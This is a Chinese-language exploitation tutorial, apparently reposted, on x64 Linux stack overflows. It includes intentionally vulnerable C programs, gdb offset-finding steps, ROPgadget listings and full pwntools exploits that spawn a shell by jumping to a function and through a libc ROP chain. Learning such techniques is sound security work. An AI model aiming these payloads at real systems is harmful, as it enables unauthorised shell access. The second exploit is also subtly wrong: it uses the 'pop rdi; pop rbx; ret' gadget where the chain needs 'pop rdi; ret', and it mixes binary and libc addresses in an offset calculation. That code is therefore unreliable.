Linux_x64_Pwn溢出漏洞

linux_64与linux_86的区别

linux_64与linux_86的区别主要有两点:

首先是内存地址的范围由32位变成了64位

但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。

其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上

但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上

漏洞程序

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void callsystem()
{
   system("/bin/sh");
}

void vulnerable_function() {
   char buf[128];
   read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
   write(STDOUT_FILENO, "Hello, World\n", 13);
   vulnerable_function();
}

打开ASLR并用如下方法编译(默认打开)

gcc -fno-stack-protector vuln.c -o vuln

通过分析源码,我们可以看到想要获取这个程序的shell非常简单

只需要控制PC指针跳转到callsystem()这个函数的地址上即可。

因为程序本身在内存中的地址不是随机的,所以不用担心函数地址发生改变。

接下来就是要找溢出点了

peda$ pattern create 150 payload

然后运行gdb ./vuln后输入这串字符串造成程序崩溃

peda$ r < payload

奇怪的事情发生了,PC指针并没有指向类似于0x41414141那样地址

而是停在了vulnerable_function()函数中

这是为什么呢?

原因就是我们之前提到过的程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。

但是,虽然PC不能跳转到那个地址,我们依然可以通过栈来计算出溢出点。

因为ret相当于“pop rip”指令,所以我们只要看一下栈顶的数值就能知道PC跳转的地址了

gdb-peda$ x/gx $rsp
0x7fffffffde58: 0x41416d4141514141

在GDB里,x是查看内存的指令,随后的gx代表数值用64位16进制显示

随后我们就可以用pattern来计算溢出点

gdb-peda$ pattern offset 0x41416d4141514141
4702159612987654465 found at offset: 136

可以看到溢出点为136字节。

我们再构造一次payload,并且跳转到一个小于0x00007fffffffffff的地址,看看这次能否控制pc的指针

python -c 'print "A"*136+"ABCDEF\x00\x00"' > payload
(gdb) run < payload

可以看到我们已经成功的控制了PC的指针了。

最终的exp如下

#!/usr/bin/env python
from pwn import *

elf = ELF('vuln')

p = process('./vuln')
#p = remote('127.0.0.1',10001)

callsystem = 0x0000000000400584

payload = "A"*136 + p64(callsystem)

p.send(payload)

p.interactive()

使用工具寻找gadgets

我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和R9寄存器里

如果还有更多的参数的话才会保存在栈上

所以我们需要寻找一些类似于pop rdi; ret的这种gadget

如果是简单的gadgets,我们可以通过objdump来查找

但当我们打算寻找一些复杂的gadgets的时候,还是借助于一些查找gadgets的工具比较方便

ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master

目标程序源码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

void systemaddr()
{
   void* handle = dlopen("libc.so.6", RTLD_LAZY);
   printf("%p\n",dlsym(handle,"system"));
   fflush(stdout);
}

void vulnerable_function() {
   char buf[128];
   read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
   systemaddr();
   write(1, "Hello, World\n", 13);
   vulnerable_function();
}

编译

gcc -fno-stack-protector vuln.c -o vuln -ldl

首先目标程序会打印system()在内存中的地址,这样的话就不需要我们考虑ASLR的问题了

只需要想办法触发buffer overflow然后利用ROP执行system(“/bin/sh”)

但为了调用system(“/bin/sh”),我们需要找到一个gadget将rdi的值指向“/bin/sh”的地址

于是我们使用ROPGadget搜索一下vuln中所有pop ret的gadgets

$ ROPgadget --binary vuln --only "pop|ret" 
Gadgets information
============================================================
0x00000000004008ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008b0 : pop r14 ; pop r15 ; ret
0x00000000004008b2 : pop r15 ; ret
0x00000000004008ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400700 : pop rbp ; ret
0x00000000004008b3 : pop rdi ; ret
0x00000000004008b1 : pop rsi ; pop r15 ; ret
0x00000000004008ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400601 : ret
0x0000000000400682 : ret 0x2009
0x0000000000400291 : ret 0x521d

如果找不到,可能因为程序比较小,在目标程序中并不能找到pop rdi; ret这个gadget。

怎么办呢?解决方案是寻找libc.so中的gadgets。

因为程序本身会load libc.so到内存中并且会打印system()的地址。

所以当我们找到gadgets后可以通过system()计算出偏移量后调用对应的gadgets。

$ ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi
0x000000000001f27d : pop rdi ; pop rbp ; ret
0x00000000000205cd : pop rdi ; pop rbx ; pop rbp ; ret
0x0000000000073033 : pop rdi ; pop rbx ; ret
0x0000000000022a12 : pop rdi ; ret

这样就能成功的找到“pop rdi; ret”这个gadget了,也就可以构造我们的ROP链了

payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)

另外,因为我们只需调用一次system()函数就可以获取shell

所以我们也可以搜索不带ret的gadgets来构造ROP链

$ ROPgadget --binary vuln --only "pop|call"Gadgets information
============================================================
0x000000000040078e : call rax

Unique gadgets found: 1

通过搜索结果我们发现,0x000000000040078e : call rax也可以完成我们的目标

首先将rax赋值为system()的地址,rdi赋值为“/bin/sh”的地址,最后再调用call rax即可

payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)

所以说这两个ROP链都可以完成我们的目标,随便选择一个进行攻击即可

最终exp如下

#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so.6')

p = process('./vuln')
#p = remote('127.0.0.1',10001)

binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
print "binsh_addr_offset = " + hex(binsh_addr_offset)

pop_ret_offset = 0x0000000000073033 - libc.symbols['system']
print "pop_ret_offset = " + hex(pop_ret_offset)

#pop_pop_call_offset = 0x000000000040078e - libc.symbols['system']
#print "pop_pop_call_offset = " + hex(pop_pop_call_offset)

print "\n##########receiving system addr##########\n"
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)

binsh_addr = system_addr + binsh_addr_offset
print "binsh_addr = " + hex(binsh_addr)


pop_ret_addr = system_addr + pop_ret_offset
print "pop_ret_addr = " + hex(pop_ret_addr)

#pop_pop_call_addr = system_addr + pop_pop_call_offset
#print "pop_pop_call_addr = " + hex(pop_pop_call_addr)

p.recv()

payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr) 

#payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr) 

print "\n##########sending payload##########\n"
p.send(payload)

p.interactive()

通用gadgets

 https://wooyun.js.org/drops/%E4%B8%80%E6%AD%A5%E4%B8%80%E6%AD%A5%E5%AD%A6ROP%E4%B9%8Blinux_x64%E7%AF%87.html

猜你喜欢

转载自www.cnblogs.com/wintrysec/p/10493583.html